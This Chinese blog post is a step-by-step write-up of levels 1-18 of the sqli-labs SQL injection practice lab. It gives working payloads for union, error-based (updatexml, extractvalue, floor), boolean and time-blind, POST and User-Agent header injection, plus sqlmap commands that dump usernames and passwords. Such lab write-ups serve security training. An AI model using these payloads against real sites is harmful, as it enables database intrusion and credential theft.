SQL注入复现1-18关

一、联合查询(1-4关)

首先打开第一关查看源代码,他的闭合方式为'

找到闭合方式后,我们就可以使用order by来确定列数

我们可以看到使用order by 4--+回车时报错,使用order by 3--+时显示,所以我们就得到他得列数为3列。

判断完列数之后,可以用union进行查询了,我们使用-1' union select 1,2,3--+查询

注意:因为页面只能显示一个内容,第二句(即union 后面的内容)是不显示的,可以把第一句(id=1)的内容改成数据库不存在的数据,如id=-1

我们可以选择在2或3出进行注入,成功得到数据库名称

我们可以使用information_schema得到表名列名

information_schema:包含所有MySql数据库的简要信息,其中包含两个重要数据表tablescolumns

查询语句:-1' union select 1,table_name,3 from information_schema.tables where table_schema='security'--+

可以看到已经查询出来表名,但是只查出一个,我们可以使用group_concat(),确保所有查询信息能放到一行显示出来

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

同理查出数据库security中数据表users的列名,我们只需要将table改为column同时加上我们已经知道的表名即可

查询语句:-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

查找数据表users中的所有username和password

查询语句:-1' union select 1,group_concat(username,':',password),3 from users--+

因为2-4相比第一关只是改变闭合方式这里就不在多说。

二、报错注入(5,6关)

报错注入共有7大函数,常用的有三个(updatexml,extractvalue,floor)解析xml文档,报错注入不能用union联合查询,要用and连接,用concat连接起来

打开第五关,先看源代码

可以看到和前几关有所不同,如果查询成功,他不会回显出来只会显示You are in...........

但是使用一个错误的函数名时,他会报错,并且显示出正确的数据库名

1.updatexml函数

一共可以接收三个参数,报错位置在第二个参数

 1' and updatexml(1,concat('~',(select database()),'~'),1)--+

后面的查数据库中的表名,列明基本和1-4关一样,就不在演示

需要注意:报错注入最大只能容纳32个字节可以用limit0,1分段显示使用substring截取

1' and updatexml(1,concat('~',(select substring(database()) 1,32),'~'),1)--+

查询表:1' and updatexml(1,concat('~',substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31)),3)--+

查询列:1' and updatexml(1,concat('~',substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31)),3)--+

用户名,密码:1' and updatexml(1,concat('~',substring((select group_concat(username,':',password) from users),1,31)),3)--+  

2.extractvalue函数

一共可以接收两个参数,报错位置在第二个参数

查询语句:1' and extractvalue(1,concat('~',(select database()),'~'))--+

查询别的数据只需要更改(select database())里面的语句即可

查询表:1' and extractvalue(1,concat('~',substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31)))--+

查询列:1' and extractvalue(1,concat('~',substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31)))--+

用户名,密码:1' and extractvalue(1,concat('~',substring((select group_concat(username,':',password) from users),1,31)))--+

3.floor()报错注入(适用于8.x>mysql>5.0)

利用 select count(),(floor(rand(0)2))x from table group by x,导致数据库报错,通过 concat 函数,连接注入语句与 floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

共四个函数(关键字)缺一不可 :

rand():随机返回0-1间的小数

floor():小数向下取整,向上是ceiling()

concat_ws(,,):将括号内数据用第一个字段连接起来

group by():分组

查询数据库名:1' and (select 1 from (select count(*), concat(database(), floor(rand(0) * 2)) as x from information_schema.tables group by x) as y)--+

查询表:1' and (select 1 from (select count(*),concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security' ),'~',floor(rand(0)*2)) as x from information_schema.tables group by x) as y)--+

查询列:1' and (select 1 from (select count(*),concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),'~',floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

查询用户名,密码:1' and (select 1 from (select count(*),concat('~',substring((select group_concat(username,':',password) from users),1,31),'~',floor(rand(0)*2)) as x from users group by x) as y)--+

第六关和第五关一样,只是闭合方式不同

三、盲注(8-10关)

1.布尔盲注

打开第八关发现,注入成功显示You are in...........,失败则不显示。没有报错回显,不知道数据库具体返回值的情况下,使用布尔盲注对数据库中的内容进行猜解,施行SQL注入

关键函数:

ascii():可以将括号内的第一个字符转化为数字,之后和后面你写的数字进行比较,来猜是哪个字母

ascii(substr((select database()),1,1))>=100 一般这样使用 substr(,2,1)用来控制转化第几个字母,要改变中间的数字

手工注入

1' and ascii(substr(database(),1,1))>100--+

1' and ascii(substr(database(),1,1))>115--+

表示猜对了,115对应的字母就是数据库的第一个字母

也可以使用python脚本

使用sqlmap

sqlmap -u “http://..............”-D security --tables 检测表

sqlmap -u “http://..............”-D security -T users --columns 检测列

sqlmap -u “http://..............”-D security -T users --dump -C “username,password”导出数据

2.时间盲注

第九关的web页面只返回一个正常页面,利用页面响应时间不同,逐个猜解数据

使用if (条件, 条件为真执行的语句,条件为假执行的语句):将比较大小放在条件上面即可查询

1' and if(ascii(substr(database(),1,1))>100, sleep(3), 0)--+

页面等待3秒后才刷新

1' and if(ascii(substr(database(),1,1))>115, sleep(3), 0)--+

页面直接执行,表名115对应的字母就是数据库的第一个字母

也可以使用python脚本和sqlmap

第十关也是闭合方式不同也就不过多说

四、post传参

11,12关和第一关差不多,只是从get传参变为post传参

1' union select 1,database()#

13,14关为报错注入和5,6关一样只是变了传参方式

aaa') and updatexml(1,concat('~',(select database()),'~'),1)--+

15,16关为盲注,和8-10关一样

查看代码发现页面返回两种结果

1' and ascii(substr(database(),1,1))>115--+

过滤

第十七关,查看代码发现username被过滤

在password出注入同样使用报错注入

1' and updatexml(1,concat('~',(select database()),'~'),1)--+

爆出数据库名

和之前一样

第18关通过查看代码发现,username和password都被过滤

但是我们通过代码发现

HTTP_USER_AGENT  --浏览器的版本

REMOTE_ADDR  --客户端的IP地址

因为这块没有被过滤,可以从这里注入

使用burpsuite抓包

这一关模仿的是可以在网站先注册账号密码,所以我们这边先打开电脑代理,然后输入正确的账号密码,使用burpsuite抓包,最后在返回页面点击Submit

进入上图页面,右键Send to Repeater

在User-Agent出注入,点击Send可以查看网页情况

使用报错注入

aaa' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

  • 8
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值